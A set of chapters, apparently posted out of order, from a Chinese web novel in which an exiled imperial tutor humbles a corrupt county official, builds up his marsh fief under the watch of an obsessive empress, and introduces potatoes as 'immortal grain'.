吴大海连滚带爬地从马背上摔下来,肥硕的身体在地上磕得砰砰作响,“下官不知是帝师大人当面,求大人饶命!饶命啊!” “别急。”顾云舟抬了抬手,语气依旧平淡,“你的罪,我们慢慢算。” 他踱了两步,围着吴大海的马转了一圈。 “陛下通缉我,那是君臣之间的家事,是陛下在跟我闹脾气。这事,不归你管,也轮不到你来管。” 吴大海闻言,心里猛地燃起一丝希望。 对!家事! 这是帝师大人自己说的! “但是……”顾云舟话锋一转,声音陡然冷了下来,“你,吴大海,身为青河县尉,不思报效朝廷,反而拥兵自重,擅闯朝廷命官的封地,意图抢掠私产,甚至纵容手下行凶,打伤我的子民。” 他指了指那个胳膊上还在流血的村民。 “这,可就不是家事了。” 顾云舟的目光落在吴大海的脸上,一字一顿地说道:“按大炎律,此为谋反,当夷三族。” 夷……三……族…… 三个字,像三道天雷,劈得吴大海魂飞魄散。 他裤裆一热,一股骚臭味瞬间弥漫开来。 “大人饶命!大人饶命啊!下官是猪油蒙了心!下官再也不敢了!”吴大海涕泪横流,抱着顾云舟的腿,磕头如捣蒜。 “想活命?”顾云舟低头看着他。 “想!想!下官做牛做马都愿意!” “好。”顾云舟点了点头,“我这个人,一向心善,念你也是不知者不罪,就给你一个将功赎罪的机会。” 他从怀里又掏出一叠草纸,和一支炭笔。 “你过去三年,在云梦泽地界,违规多收的盐税渔税,总共三百二十两白银,全部退还给村民。” “另外,石滩村的村民们生活困苦,你身为父母官,理应帮扶。就由你‘赞助’一批农具铁器,五十套。再‘赞助’一批稻种粮种,二百斤。” “这……这……”吴大海脸都绿了,这他妈是把他往死里宰啊! “嗯?”顾云舟的鼻子里,轻轻哼了一声。 吴大海一个激灵,立刻把所有话都咽了回去,点头如小鸡啄米:“下官愿意!下官愿意!下官马上就去办!” “口说无凭。”顾云舟把纸和笔递到他面前,“这是你主动退赔的协议,白纸黑字写清楚了,你签个字,画个押。我也好拿着这份东西,向朝廷报备,为你表功嘛。” 吴大海看着那份详细记录了自己所有“罪证”的协议,哪里还敢说半个不字。 这哪是协议,这分明是催命符! 可跟夷三族比起来,破财消灾简直是天大的恩赐。 他颤抖着手,接过炭笔,歪歪扭扭地在协议末尾写上了自己的名字,又沾了点地上的泥水,按下了手印。 签完字,他像被抽干了所有力气,瘫软在地,只求这位爷能赶紧放自己走。 顾云舟收好那份“协议”,满意地吹了吹上面的字迹。 他俯下身,凑到吴大海耳边,用只有两个人能听到的声音,轻飘飘地说道: “对了,忘了告诉你。” “这份东西,我会派人快马加鞭,送往神京。” “交给新上任的御史中丞,苏长青苏大人。” 吴大海的瞳孔,猛地缩成了针尖。 御史中丞! 专管监察百官,风闻奏事的御史台一把手! 苏长青这个名字他没听过,但这不重要! 自己这份签了字的罪证,一旦送到御史台…… 那自己这辈子,就彻底完了! 他终于明白,对方根本不是要放过他。 而是给他套上了一根,随时可以收紧的绞索! “吴县尉。”顾云舟直起身,居高临下地看着他,脸上又恢复了那副人畜无害的温和笑容。 “以后,我这云梦泽的事,就劳烦你,多多‘关照’了。” 吴大海抬起头,看着那张笑脸,只觉得浑身冰冷,如坠九幽。 他张了张嘴,却一个字都说不出来。 最后,他像是被抽走了所有精气神,从牙缝里挤出几个字。 “下官……遵命。” 顾云舟挥了挥手,像是在赶一只苍蝇。 “滚吧。” 吴大海如蒙大赦,连滚带爬地起身,招呼着他那群同样吓破了胆的下属,狼狈不堪地逃离了石滩村。 来时气势汹汹,去时,如丧家之犬。 直到那群官差的身影彻底消失在视野里,整个石滩村,才爆发出震天的欢呼! “先生威武!” 村民们扔掉手里的武器,激动地又笑又跳,看向顾云舟的眼神,已经不再是敬畏。 那是狂热。 那是对神明的,绝对崇拜! 石爷拄着拐杖,老泪纵横地走到顾云舟面前,带着身后数百村民,齐刷刷地跪了下去。 这一次,不是哀求,不是敬畏。 是发自内心的,臣服。 “我等,拜见云梦侯!” 声音汇成一股洪流,在云梦泽的上空,久久回荡。 顾云舟看着眼前黑压压跪倒的一片,神色平静。 他抬起手,虚扶了一下。 “都起来吧。” 他的目光越过人群,望向神京的方向,嘴角勾起一抹无人察觉的笑。 小丫头,你以为用天下为笼,就能困住我? 你错了。 (言谢无力,四更奉上,感谢大家的礼物,谢谢(〃▽〃)) 第八十二章 温柔的锁链 或者说,那根悬在他脖子上的绞索,比任何鞭子都好用。 三天之内,第一批“赔偿”就送到了石滩村。 不是什么金银细软,全是顾云舟点名要的硬通货。 崭新的农具堆成了一座小山,闪着冰冷的铁光。五百斤精挑细选的稻种粮种,用一个个麻袋装得整整齐齐。还有上百匹足够让全村男女老少都换上一身新衣的粗布。 吴大海甚至贴心地多送了十头壮硕的耕牛,和两大车肥得流油的腌肉。 那张写满罪证的协议,就是悬在他头顶的达摩克利斯之剑。顾云舟什么时候想让他死,只需要把信送到神京,他吴大海就得立刻人头落地,还得背上一个遗臭万年的污名。 所以他不仅要办,还要办得漂亮,办得让这位爷满意。 石滩村彻底疯了。 不,是燃了。 几百号村民,男女老少,有一个算一个,眼里冒出的光几乎能把云梦泽的瘴气都给点着。 在顾云舟画出的规划图下,整个村子变成了一个巨大的工地。 排沼泽,挖沟渠,开垦荒地,修建新的居住区。 干活的号子喊得震天响,每个人脸上都像是开了光,仿佛有使不完的牛劲。以前是为了一口吃的挣扎求生,现在,是为了一个看得见摸得着的未来玩命。 顾云舟没闲着。 他亲自带着几个最机灵的后生,在村子后头,圈出了一块最肥沃的土地。 然后,在所有人期待又敬畏的目光中,他从自己那间茅屋里,小心翼翼地捧出了一个小小的布袋。 “此物,名为‘仙粮’。” 顾云舟面色肃穆,一本正经地胡说八道。 “乃我游历海外时,于仙山偶然所得。其貌不扬,却能亩产数千斤,足以养活十倍之众。” 村民们伸长了脖子,看着他从袋子里倒出的那些疙疙瘩瘩,长得歪瓜裂枣的玩意儿,全都傻眼了。 这玩意儿……也能吃? 还亩产几千斤? 这不是吹牛不上税吗? 但这话是先生说的。 是那位能点土成盐,能让县尉老爷磕头求饶的活神仙说的。 那这玩意儿,就一定是仙粮! 于是,在一片狂热的注视下,顾云舟亲手将那几颗从系统仓库里兑换出来的,平平无奇的土豆,切块,埋进了地里。 只要这东西能种出来,他就有了最稳固的根基。 整个云梦泽,热火朝天,一片生机。 …… 神京,御书房。 暖炉烧得很旺,空气中弥漫着淡淡的龙涎香。 身着明黄龙袍的萧青鸾,正坐在那张曾经让她感到无边孤寂的龙椅上。 但此刻,她绝美的脸上,却洋溢着一种近乎痴迷的、满足的微笑。 她的手指,正轻轻抚摸着一份来自青河县的奏报。 奏报是吴大海写的,字里行间充满了卑微的、露骨的谄媚。 他将顾云舟描绘成了一位幡然醒悟,彻底放弃了不切实际的幻想,决心在自己的封地安享晚年的归隐贤臣。 奏报里,他用尽了毕生所学的华丽辞藻,将云梦泽描绘成了一片世外桃源。 帝师大人如何带领刁民开垦荒地,如何规划村落,如何体恤民情……那画面,简直就是上古圣贤才能做出的功绩。 奏报的最后,吴大海用颤抖的笔迹写道:“帝师大人时常遥望神京,虽不言语,然其感念天恩之情,溢于言表……” 萧青鸾的嘴角,越扬越高。 她甚至能想象出先生在云梦泽的身影。 他一定是在生气,气自己将他“赶”出神京。 可你看,没有了那些朝堂上的烦心事,没有了那些算计和阴谋,先生不是过得很好吗? 你不是已经开始,亲手建设我为你准备的“家”了吗? 先生……你果然还是懂我的。 这份爱,这份守护,你终于开始接受了。 一种前所未有的满足感和控制欲,像最甜美的蜜糖,浸透了她的心。 她要给他更多。 既然他喜欢建设自己的家,那她就给他最好的工匠,最多的物资,让他把那个“家”,建成全天下最美的地方。 一个只属于他们两个人的,永远不会有人打扰的,最完美的囚笼。 “来人。”她轻声开口,声音里带着一丝愉悦的颤音。 “传朕旨意。” “着工部尚书,即刻遴选全国最好的工匠一千人,农学家一百人。” “开内库,取黄金万两,珍宝百箱,粮草十万石,布匹千车……” “再将朕亲手培育的‘仙粮’,尽数带上。” “命新科进士李源,为云梦泽县令,即刻上任,辅佐帝师,处理一切庶务。” “另,调凤卫一营,随队前往。” 女帝顿了顿,绝美的脸上露出一抹温柔到极致的笑。 “务必,保护好帝师大人的安全。” “告诉他,朕在神京,等他把我们的家,建好。” 半个月后。 当一支绵延数里,旌旗招展,看不到头的庞大队伍,出现在云梦泽的地平线上时,顾云舟正站在新开垦的田埂上,看着破土而出的土豆苗,心情相当不错。 可当他看清那队伍的规模时,那点好心情,瞬间烟消云散。 他看到了什么? 堆积如山的物资,黑压压的工匠人群,甚至还有几车他只在图纸上见过的,由工部最新研发的翻车。 为首的一名年轻官员,身着崭新的官服,一看到他,便立刻翻身下马,快步上前,纳头便拜。 “学生李源,拜见先生!” 顾云舟的眼皮狠狠跳了一下。 李源,他亲自点的新科进士,他最忠诚的门生之一。 他怎么会来这里? 顾云舟还没来得及问,他的目光,就被李源身后那几十个沉默的身影吸引了。 她们身着赤色的软甲,身形窈窕,却散发着比百战老兵还要冰冷的杀气。 每一个人的眼神,都像鹰隼一样,死死地锁定着他。 凤卫! 他脸上的笑容,一点点凝固。 一股恶寒,顺着脊椎骨,笔直地蹿上了天灵盖。 “陛下……这是何意?”顾云舟的声音有些干涩。 李源抬起头,脸上满是挣扎和苦涩。 他从怀中,恭恭敬敬地捧出了一卷明黄的丝绸。 那不是圣旨,而是一封密谕。 顾云舟展开。 上面的字迹,是他手把手教出来的,熟悉到骨子里的秀丽笔迹。 只是此刻,那每一个字,都透着一股不容置疑的、温柔的疯狂。 “为保先生千金之躯万全,朕已下令,自即日起,云梦泽全境,划为禁区。” “由凤卫接管防务。” “任何人,不得擅自进出。” 顾云舟捏着那卷丝绸,指节因为用力而寸寸发白。 他缓缓抬起头,看向那支庞大的队伍,看向那些将整个云梦泽团团围住的凤卫。 他明白了。 她不是来赏赐的。 她是来,给他这座刚刚有了点雏形的“温床”,再加盖,再加锁。 她把整个云梦泽,也变成了一座华丽的,巨大的,滴水不漏的, 囚笼。 好家伙。 这是给我免费升级了豪华监狱套房,还附赠终身安保服务? 顾云舟的嘴角,扯出一个比哭还难看的笑容。 (感谢大家的礼物,谢谢,今天依旧四更,再连续三天四更,小铺盖就要整理后面的大纲内容了,后面打算写男女主的棋盘对弈,当然也是大家爱看的小黑屋,女主在明,男主在暗) 第八十三章 玩具 他缓缓抬起头,看向那支庞大的队伍,看向那些将整个云梦泽团团围住的凤卫。 好家伙。 这是给我免费升级了豪华监狱套房,还附赠终身安保服务? 这福气给你你要不要啊。 一股恶寒顺着脊椎骨蹿上天灵盖,让顾云舟浑身冰冷。 然而,就在李源和周围凤卫那紧张又带着一丝戒备的注视下,顾云舟脸上的肌肉抽动了一下,竟扯出了一个笑容。 一个比哭还难看的笑容。 李源的眼皮狠狠一跳,心都提到了嗓子眼。 完了,先生这是气疯了。 他正要开口劝慰,却见顾云舟将那卷密谕小心翼翼地卷好,妥帖地收入怀中,仿佛那不是一道枷锁,而是一件稀世珍宝。 “学生李源,拜见先生!”李源再次叩首,声音里满是愧疚与挣扎。 顾云舟上前一步,亲手将他扶起,脸上的笑容已经变得温和,甚至带着一丝欣慰。 “起来吧,一路辛苦了。” 他的声音平静得可怕,没有一丝一毫的愤怒或绝望。 “先生……”李源看着他,一时间竟不知该说什么。 顾云舟却没理会他的欲言又止,而是拍了拍他的肩膀,目光越过他,望向那黑压压的人群和堆积如山的物资。 “陛下送来了这么多人手和物资,若不做出点成绩,岂不辜负了她一番心意?” 这话一出,李源愣住了。 就连不远处一直冷眼旁观的凤卫队长赤羽,那张冰山般的脸上,眸光也微微闪动了一下。 这是什么反应? 不该是暴怒,质问,或者心如死灰吗? 怎么听着,倒像是真心实意地要感谢陛下? “传我命令,”顾云舟的声音不大,却清晰地传到每一个人的耳朵里,“所有工匠,农学家,明日辰时,在村口广扬集合。本官,要亲自给他们分派任务。” 说完,他便转身,向着石滩村的方向走去,步履从容,仿佛刚才什么都没发生过。 只留下李源和一众凤卫,在风中凌乱。 第二天,辰时。 云梦泽入口的空地上,临时搭建起了一个半人高的土台。 上千名工匠和百名农学家黑压压地聚集在台下,人群中弥漫着不安与迷茫。 他们都是从全国各地被一纸调令紧急征调而来,只知道是来辅佐一位侯爷,建设封地。 可这地方,鸟不拉屎,一片荒芜。 更诡异的是,周围全是杀气腾腾的凤卫,把整个云梦泽围得跟铁桶一样。 这哪是建设封地,分明是来坐牢的。 李源站在台下,手心里全是汗。他一夜没睡好,生怕先生今天会做出什么过激的举动。 就在这时,顾云舟在一众村民的簇拥下,登上了高台。 他今天换了一身干净的青色长衫,头发束得一丝不苟,神情平静,目光清亮。 他没有说任何官话套话,也没有摆帝师的架子。 他只是对着台下众人,微微一笑。 然后,他拿出了几卷巨大的图纸。 图纸在两个村民的帮助下展开,瞬间吸引了所有人的目光。 “这是云梦泽水利改造总图。” 顾云舟指着第一幅图,上面用墨线和朱笔,勾勒出纵横交错的线条。主干渠,分水渠,灌溉网,蓄水池,标注得清清楚楚,仿佛一条条血管,要给这片死寂的土地注入生命。 台下的工匠中,几个水利方面的老把式,只看了一眼,就倒吸一口凉气。 这布局,这构想,简直是神来之笔! “这是居民区规划图。” 第二幅图展开。一排排整齐的院落,道路宽阔,功能分区明确。住宅区,集市区,学堂,工坊,甚至连公共厕所的位置都标了出来。 “这是农田划分图。” 第三幅图展开。大片大片的土地被规划成整齐的方格,什么地方种“仙粮”,什么地方种蔬菜,什么地方养殖,一目了然。 三幅图纸,如三记重锤,狠狠砸在每一个人的心上。 台下瞬间安静了。 所有人都被这宏伟的蓝图震撼了。 这不是在坐牢。 这是要在一片荒野之上,凭空建起一座城! “我不管你们以前是哪个衙门的,拿多少俸禄,有什么背景。”顾云舟的声音再次响起,清晰而有力。 “从今天起,你们只有一个身份,云梦泽的建设者。” “我不需要你们磕头谢恩,我只需要你们干活。” 他顿了顿,目光扫过全扬。 “在这里,没有论资排辈,只有能者上,庸者下。” “即刻起,所有人打乱分组。十人一组,设小组长。十个小组,设一个总管事。所有小组长和总管事,由你们自己推举,三天后,凭本事考核,不合格的,直接换人!” “烧砖的,就只管把砖烧到最好。” “挖渠的,就只管把渠挖得最快。” “盖房的,就只管把房盖得最牢。” “我们搞流水线作业!每天评比,完成任务量最多,质量最好的小组,晚上加肉!顿顿都有肉!” “一个月后,综合评比第一的小组,每人赏银十两!” “三个月后,新房盖好,所有人按功劳大小,分房!” 没有一句废话,全是干货。 简单,粗暴,却直击人心。 台下的工匠们,呼吸渐渐变得粗重。 他们都是苦出身,一辈子就图个吃饱穿暖,有个安身立命的地方。 赏银,加肉,分房子! 这些承诺,比任何说教都来得实在。 人群开始骚动,窃窃私语声汇成一片嗡嗡的声浪。 “都听清楚了吗?”顾云舟扬声问道。 “听清楚了!”不知是谁第一个吼了出来。 紧接着,山呼海啸般的回应,响彻云霄。 “听清楚了!” 李源站在台下,目瞪口呆地看着眼前的一切。 他看着自己的先生,站在高台上,三言两语,就将一群散漫不安的工匠,变成了一支嗷嗷叫的虎狼之师。 他没有愤怒,没有消沉,没有一丝一毫的颓废。 他仿佛爆发出一种惊人的,近乎恐怖的热情和创造力。 这云梦泽,在他的眼中,似乎真的不是囚笼。 而是一个可以让他肆意挥洒才华的,最心爱的玩具。 接下来的日子,整个云梦泽变成了一个巨大的,热火朝天的工地。 顾云舟说到做到。 他亲自带着人勘探地形,确定水渠走向。 他手把手教工匠们如何制作更坚固的砖瓦,如何搭建更合理的房屋结构。 他引入了奖惩制度,每天傍晚,村口的红榜上都会公布各个小组的进度和排名。赢了的小组欢天喜地,领了肉食大快朵颐。输了的也不气馁,憋着一股劲说明天一定要赢回来。 一股前所未有的活力,在这片土地上爆发开来。 李源彻底沦为了一个工具人。 他每天的工作,就是跟在顾云舟身后,负责协调物资,记录进度,处理各种杂务。 他看着一条条水渠被挖开,看着一座座砖窑拔地而起,看着一片片荒地被开垦成良田。 他心中的震撼,已经无法用言语来形容。 他甚至产生了一种荒谬的错觉。 或许,陛下是对的。 先生他,或许真的厌倦了朝堂的勾心斗角,只想找一个地方,实现自己经天纬地的抱负。 而这云梦泽,就是陛下为他选的,最好的舞台。 当晚,李源在给女帝的奏报中,详细描述了这半个月来云梦泽翻天覆地的变化。 他用尽了毕生所学的华丽辞藻,去描绘帝师大人是如何“神情振奋,日夜操劳”,如何“废寝忘食,乐在其中”,又是如何将一片不毛之地,变成了一个充满希望的桃源。 奏报的最后,他写道:“先生常于夜深人静时,登高远眺,虽不言语,然其神情之满足,非伪装所能及也。臣斗胆揣测,先生已明陛下苦心,乐于此间,忘乎所以。” 与此同时,神京,皇宫。 萧青鸾看着密探快马加急送回的报告,脸上露出了满意的笑容。 李源的奏报,和密探的报告,内容几乎一模一样。 先生他,真的接受了。 他不仅接受了,还干劲十足。 她仿佛能看到,先生站在工地上,意气风发,指点江山的样子。 那才是他该有的样子。 而不是在阴诡的朝堂上,与那些腐儒小人虚与委蛇。 “赤羽。”她轻声呼唤。 “属下在。”赤羽的身影如鬼魅般出现在她身后。 “云梦泽那边,凤卫可有异动?” “回陛下,并无异动。所有凤卫皆恪尽职守,将云梦泽防卫得滴水不漏。”赤羽的声音没有一丝波澜,“只是……” “只是什么?” “只是属下不明白,顾大人……他为何如此?” 萧青鸾笑了,笑得像个得到了心爱糖果的孩子。 “因为他懂我。” “他知道,我做的一切,都是为了他好。” “这个天下,太脏了,配不上他。只有我为他打造的那个家,那个干净的,纯粹的,只有我们两个人的家,才配得上他。” 她的声音温柔而缱绻,眼神中却闪烁着偏执的光。 赤羽沉默了。 她看着眼前的女帝,心中那股寒意,又一次浮了上来。 她总觉得,事情没有这么简单。 那个男人,那个能把神京都搅得天翻地覆的男人,真的会这么轻易就范吗? 云梦泽,入夜。 工地上依旧灯火通明,那是顾云舟下令点的火把,为了让工匠们可以连夜赶工。 喧嚣声隔得很远,传到顾云舟所站的山坡上,只剩下模糊的嗡鸣。 他独自一人,站在高处,俯瞰着这片由他亲手点燃的燎原之火。 脸上没有了白日的温和,也没有了那虚假的笑容。 只剩下如水般冰冷的平静。 他知道,李源的奏报,此刻应该已经摆在了萧青鸾的案头。 他也知道,那个女孩看到奏报后,会是何等的欣喜,何等的满足。 她会以为,她赢了。 她会以为,她用爱与权力,成功驯服了这只企图飞出牢笼的鸟。 可她不知道。 鸟,是不会被驯服的。 顾云舟伸出手,感受着夜风从指间流过。 他要的,从来不是撞破这个笼子。 那太蠢了。 他要的,是把这个笼子,打造得更舒适,更坚固,更强大。 强大到,足以成为他最重要的筹码。 只有当这个笼子变得足够有分量时,他才有资格,和笼子的主人,心平气和地,谈一谈条件。 比如,笼子门钥匙的归属问题。 他缓缓收回手,目光投向神京的方向,眼神深邃如渊。 萧青鸾。 你送来的每一块砖,每一粒米…… 我都替你,用在刀刃上了。 第八十章 县尉登门 石滩村的盐,终究是藏不住的。 一个出泽打鱼的汉子,用一小撮雪白的精盐,在邻县的集市上换回了一坛子劣酒。 他觉得占了天大的便宜。 那收盐的铺子老板,尝了一口后,眼睛瞪得像铜铃,当场就要用一整匹布来换汉子身上剩下的大半包。 汉子吓得抱紧盐包,扭头就跑,以为遇上了疯子。 消息,就这么传开了。 青河县,县尉吴大海的府邸里。 “私盐?” 吴大海,一个胖得流油的男人,正用小指掏着耳朵。 “头儿,不止是私盐!”一个师爷模样的瘦猴凑上前,压低了声音,激动得满脸放光,“听说是神仙盐!白得像雪,细得像面!一两能卖出官盐一斤的价!” 吴大海掏耳朵的动作停了。 他那双被肥肉挤成一条缝的眼睛,猛地睁开。 贪婪的光,像是饿了三天的狼,瞬间迸射出来。 私盐,是重罪。 但能卖出十倍价钱的私盐,那就是一座移动的金山! “砰!” 他一巴掌拍在桌上,满身的肥肉跟着一阵乱颤。 “点子扎不扎手?” “头儿,您放心!”瘦猴师爷谄媚地笑,“就是云梦泽里那帮泥腿子,叫石滩村。穷得叮当响,胆子比耗子还小,借他们十个胆子也不敢跟官府作对!” “好!” 吴大海豁然起身,狞笑道:“调集人手,跟我走一趟!老子倒要看看,是哪个神仙,敢在老子的地盘上点石成金!” 半个时辰后。 二十多名衙役,骑着高头大马,簇拥着胖如肉山的吴大海,如同一阵恶风,冲到了石滩村口。 “给老子滚开!” 为首的衙役一脚踹出。 “轰隆!” 那道用烂木头和藤条扎成的村口栅栏,应声碎裂。 吴大海骑在马上,马儿不堪重负地打着响鼻。他用马鞭指着村里,扯着嗓子吼道:“石滩村的贱民听着!你们私自制盐,罪同谋逆!识相的,立刻交出制盐的方子和妖人,否则,一律下狱,满门抄斩!” 声音蛮横霸道,在村子上空回荡。 以往,只要他这么一吼,村里的男女老少早就该跪一地,磕头如捣蒜了。 可今天,不对劲。 非常不对劲。 村里静悄悄的。 紧接着,一扇扇茅草屋的门被推开。 一个个村民走了出来。 有白发苍苍的老人,有满脸憨厚的汉子,还有抱着孩子的妇人。 他们手里,没有拿着贡品。 而是拿着渔叉,拿着锄头,拿着柴刀。 他们没有跪下。 而是站得笔直。 数百道目光,汇聚成一股,死死地盯着吴大海和他身后的衙役。那眼神里没有恐惧,只有冰冷的愤怒和一丝……决绝。 吴大海心里咯噔一下,一股无名火涌了上来。 一群贱民,竟敢用这种眼神看他? “石爷!给我滚出来!”他怒吼道。 人群分开,拄着拐杖的石爷,一步一步,走到了最前面。 他浑浊的老眼,直视着马上的吴大海,声音沙哑却坚定:“吴县尉,我们石滩村,没有私盐。” “放屁!”吴大海马鞭一指,“老子的人亲眼在集市上看到的!还敢狡辩!信不信老子现在就平了你们这破村子!” “那不是私盐。”石爷一字一句道,“那是上天赐给我们活命的东西。 吴大海像是听到了天大的笑话,肥肉抖得更厉害了。他一眼就看到了被村民们不自觉护在最中间的那个身影。 一个穿着洗得发白的长衫的年轻人。 看起来文文弱弱,细皮嫩肉的,抓回去....嘿嘿......。 “就是他?”吴大海的马鞭指向顾云舟,脸上满是鄙夷和贪婪,“一个小白脸,也敢装神弄鬼!来人!给老子把他拿下!谁敢阻拦,格杀勿论!” “喏!” 二十多名衙役齐声应和,抽出腰间的佩刀,刀锋在日光下晃出一片刺眼的白光。 他们狞笑着,朝着人群逼近。 “我看谁敢!” 石爷猛地将拐杖往地上一顿,发出一声闷响。 他身后,数百村民同时往前踏了一步。 “谁敢动先生,就从我们尸体上踏过去!” 一个黑瘦汉子吼出了所有人的心声。 “踏过去!踏过去!” 吼声汇成一股,震得人耳膜发麻。 村民们举起了手中的渔叉和锄头,组成了一道简陋却坚固的墙。一道用血肉和信念筑成的墙。 吴大海彻底懵了。 他揉了揉眼睛,不敢相信眼前看到的一切。 这群任人宰割的鱼肉,这群见了官差就腿软的泥腿子,今天竟然敢……亮家伙? “反了!反了!你们这是要造反!” 吴大海气得脸都紫了,指着村民的手指都在发抖。 “给我上!杀了他们!全都杀了!出了事老子担着!” 被激怒的衙役们,仗着人高马大,手持利刃,凶狠地冲向了人群。 “跟他们拼了!” “保护先生!” 冲突,瞬间爆发! 刀光和农具的影子交织在一起。 一个衙役的刀劈向一个老人的头,旁边的渔叉闪电般刺出,逼得他连连后退。 两个年轻村民合力将一个衙役扑倒在地,用身体死死压住。 鲜血,溅了出来。 有村民的,也有衙役的。 村民们不懂武艺,但他们人多。他们不懂章法,但他们悍不畏死。 一时间,二十多个如狼似虎的衙役,竟被这群“乌合之众”死死地挡在了村口,寸步难进! 顾云舟站在人群的保护圈里,神色平静。 他看着眼前这惨烈的一幕,看着那些为了保护他而奋不顾身的村民。 他知道,不能再这样下去了。 他缓缓吸了一口气,然后开口。 声音不大,却清晰地传遍了整个嘈杂的战场。 “都住手。” 神奇的一幕发生了。 所有听到他声音的村民,像是被按下了暂停键,动作猛地一滞,下意识地回头看他。 就是这一瞬间的迟疑,一个衙役抓住机会,一刀砍在了一个村民的胳膊上。 “啊!” 惨叫声响起。 顾云舟的眉头,皱了起来。 他不再犹豫,排开身前护着他的村民,一步一步,走了出去。 他走得很慢,很稳。 仿佛不是走向一场血腥的械斗,而是在自家的庭院里散步。 所有人的目光,都被他吸引了过去。 衙役们停下了手,村民们也停下了手。 吴大海看着这个径直向自己走来的年轻人,心里莫名地升起一丝不安。 这小子,不怕死? 顾云舟在吴大海的马前三步处站定,抬头,仰视着那张肥硕的脸。 “吴县尉,对吗?”他开口,语气平淡得像是在拉家常。 “你……你就是那个妖人?”吴大海被他看得有些发毛,强自镇定道。 “私制官盐,的确是死罪。”顾云舟点了点头,竟然认同了他的说法。 吴大海一愣,随即狂喜。 “算你识相!既然认罪,那就跪下受死!老子还能给你个痛快!” 顾云舟笑了,那笑容里带着一丝说不清道不明的意味。 “在吴县尉给我定罪之前,我想先问两个问题。” 他伸出一根手指。 “第一,吴县尉可知,此地,究竟是何人的封地?” 吴大海眉头一皱,不耐烦地道:“废话!这云梦泽鸟不拉屎的地方,还能是谁的封地?整个青河县,都是老子说了算!” “是吗?” 顾云舟不置可否,又伸出第二根手指。 “那第二个问题。” 他的目光,陡然变得锐利起来。 “你可知,我,又是何人?” (感谢大家都礼物和支持,晚上还有一张哈(`?ω?′)?) 第八十四章 仙粮?土豆 那片地不大,也就十来亩,却是顾云舟亲手开垦的。 今天,这片地要下种了。 石滩村的村民,还有那些从各地征调来的农学好手,里三层外三层围得水泄不通。所有人都伸长了脖子,想看看这位神仙般的侯爷,究竟要种什么宝贝。 顾云舟站在田垄上,白衣依旧,神情淡然。 在他脚边,放着几个大筐。筐里不是金黄的麦种也不是饱满的稻谷,而是一堆奇形怪状的玩意儿。 有土黄色的疙瘩,上面还长着小小的芽眼。 还有一些金灿灿的硬邦邦的颗粒。 “这是啥?”人群里有人小声嘀咕。 “看着跟山里的野薯差不多,那玩意儿又涩又苦,狗都不吃。” “侯爷不会是想种这个吧?这盐碱地,能长出东西就不错了,种这玩意儿不是白费力气吗?” 李源站在顾云舟身后,眉头紧锁。他作为钦定的云梦泽县令,对农事也算略知一二。可筐里这两样东西,他翻遍了脑子里的农书,也找不到半点记载。 这……能行吗? 顾云舟仿佛没听见周围的议论。 他弯下腰,拿起一个土黄色的疙瘩,也就是他口中的“仙粮一号”。 他拔出腰间小刀,在众目睽睽之下,将那疙瘩切成了好几块。每一块,都带着一个清晰的芽眼。 然后,他走到田里,亲手挖了一个坑,将一块切好的“仙粮”放了进去,芽眼朝上,再覆上薄薄一层土。 动作简单,利落,没有半点多余的解释。 接着,他又拿起那些金黄的颗粒,“仙粮二号”。他向众人展示了如何点播,如何控制间距。 做完这一切,他才直起身,拍了拍手上的泥土。 村长石爷拄着拐杖,颤颤巍巍地走上前。他满脸的褶子都写满了忧虑。 “侯爷……老朽斗胆问一句。”他恭敬地躬身,“这地贫,水也咸,咱们祖祖辈辈都种不出好庄稼。您种的这些……神物,真的能活吗?” 顾云舟笑了。 他没回答石爷的问题,反而朗声对所有人说:“今天,所有在这里的人都听着。” 喧闹的人群瞬间安静下来。 “这十亩地,我需要人手,按照我刚才的方法,把它们全部种上。” 他顿了顿,目光扫过每一张或怀疑或好奇的脸。 “哪一户愿意领这个活,我不仅包他家三餐,工钱照发。从今天起,他家一年的田税,全免。” 轰! 人群炸开了锅。 一年田税全免! 这是什么概念?这是天上掉下来的大馅饼! 刚才还满腹狐疑的村民们,眼睛瞬间就红了。 “侯爷!俺家干!”一个壮汉第一个吼了出来。 “俺也干!俺家五口人,都能下地!” “还有我!侯爷选我!” 刚才还无人问津的“神物”,瞬间成了香饽饽。 李源在旁边看得目瞪口呆。 他还在思考如何引经据典,说服百姓尝试新作物。结果先生一句话,问题就解决了。 简单,粗暴,有效。 这就是先生的行事风格。 接下来的日子,整个云梦泽都在一种诡异的期待中度过。 基建工程依旧疯狂推进,但所有人的目光,总会不自觉地瞟向那片试验田。 奇迹,是从第七天开始的。 一抹倔强的绿色,顶开了贫瘠的土地。 然后是第二抹,第三抹…… 半个月后,整片试验田已经绿油油一片。那些“仙粮”的生长速度,快得让人心惊胆战。它们仿佛不是在吸收土地的养分,而是在吞噬阳光和空气。 驻扎在远处的凤卫,每天的报告里都多了一项固定内容。 “试验田作物长势异常,今日又高三寸。” “作物叶片宽大肥厚,与大炎所有已知农物均不相符。” “李县令每日前往三次,绕田而行,口中念念有词,神情癫狂。” 两个月后,当试验田里的“仙粮二号”长得比人还高,结出一个个包裹着厚厚外衣的棒子时,所有人的呼吸都停滞了。 而“仙粮一号”的藤蔓,更是铺满了整个地面,绿意盎然,散发着勃勃生机。 收获的日子到了。 这一天,工地都停了工。 数千人再次聚集在试验田外,比播种那天还要安静。 空气中弥漫着一种近乎神圣的紧张感。 顾云舟依旧是一身白衣,走在最前面。他没带任何工具,只是走到了第一株“仙粮一号”的藤蔓前,蹲下身。 他伸手,拨开泥土,然后用力一拔。 哗啦啦。 随着藤蔓被拔起,一连串圆滚滚,沉甸甸的土黄色果实,被带出了地面。 一个,两个,三个……足足一窝十几个! 每一个都比成年人的拳头还大! 时间仿佛静止了。 所有人都瞪大了眼睛,死死盯着那从土里翻出来的奇迹,忘了呼吸,忘了思考。 咕咚。 不知道是谁,艰难地咽了口唾沫。 顾云舟随手捡起一个,掂了掂,然后扔向人群中的石爷。 “石爷,接住。” 石爷下意识地伸手接住。 那东西入手沉重,表皮粗糙,带着泥土的芬芳。 是真的。 不是幻觉。 老村长呆呆地看着手里的果实,又看了看那被拔开的土坑里,还有更多深埋其中。 他突然扔掉拐杖,像个疯子一样扑到田边,用他那双枯瘦的老手,疯狂地刨着地。 更多!更多! 一窝又一窝的果实被他刨了出来! 他停下了动作,捧着满手的泥土和果实,身体开始剧烈地颤抖。 浑浊的老眼里,有什么东西决堤而出。 他猛地转过身,面向顾云舟,双膝重重地跪了下去。 咚! 一声闷响,他苍老的额头,结结实实地磕在了坚硬的土地上。 “神仙……是神仙老爷下凡了啊!” 他用尽全身力气,嘶吼出声,声音里带着哭腔和无限的狂热。 “是粮神!粮神在世啊!” 